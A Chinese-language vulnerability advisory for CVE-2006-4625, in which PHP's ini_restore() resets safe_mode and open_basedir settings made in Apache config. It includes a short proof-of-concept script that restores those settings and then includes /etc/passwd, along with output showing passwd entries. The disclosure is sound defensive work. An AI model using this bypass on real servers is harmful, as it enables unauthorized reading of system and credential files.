2006-9-11
发布日期:2006-09-09 更新日期:2006-09-11
受影响系统:
PHP PHP 5.1.6 PHP PHP 4.4.4
描述:
BUGTRAQ ID: 19933 CVE(CAN) ID: CVE-2006-4625
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP在处理配置选项时存在漏洞,远程攻击者可能利用此漏洞绕过安全限制。
如果将PHP用作Apache模块的话,就可以使用Apache配置文件(如httpd.conf)中的指令更改配置设置。例如,httpd.conf中的open_basedir:
- --- <Directory /usr/home/frajer/public_html/> Options FollowSymLinks MultiViews Indexes AllowOverride None php_admin_flag safe_mode 1 php_admin_value open_basedir /usr/home/frajer/public_html/ </Directory> - ---
在PHP中有两个config选项,分别是Local Value和Master Value。如果在Local Value中为选定的用户设置了safe_mode或open_basedir且Master Value为默认值,就可以通过ini_restore()函数将Master Value恢复为Local Value:
- --- ini_restore
(PHP 4, PHP 5) ini_restore -- Restores the value of a configuration option - ---
恢复了php.ini文件的值攻击者就可以绕过httpd.conf的PHP选项。
<*来源:Maksymilian Arciemowicz (max@jestsuper.pl) 链接:http://marc.theaimsgroup.com/?l=bugtraq&m=115781726915471&w=2 *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
- --- <? echo ini_get("safe_mode"); echo ini_get("open_basedir"); include("/etc/passwd"); ini_restore("safe_mode"); ini_restore("open_basedir"); echo ini_get("safe_mode"); echo ini_get("open_basedir"); include("/etc/passwd"); ?> - ---
攻击结果: - --- 1 /usr/home/frajer/public_html/ Warning: include() [function.include]: open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/usr/home/frajer/public_html/) in /usr/home/frajer/public_html/ini_restore.php on line 4
Warning: include(/etc/passwd) [function.include]: failed to open stream: Operation not permitted in /usr/home/frajer/public_html/ini_restore.php on line 4
Warning: include() [function.include]: Failed opening '/etc/passwd' for inclusion (include_path='.:') in /usr/home/frajer/public_html/ini_restore.php on line 4 # $BSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-ag..... - ---
建议:
厂商补丁:
PHP --- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://cvs.php.net/viewcvs.cgi/php-src/NEWS
|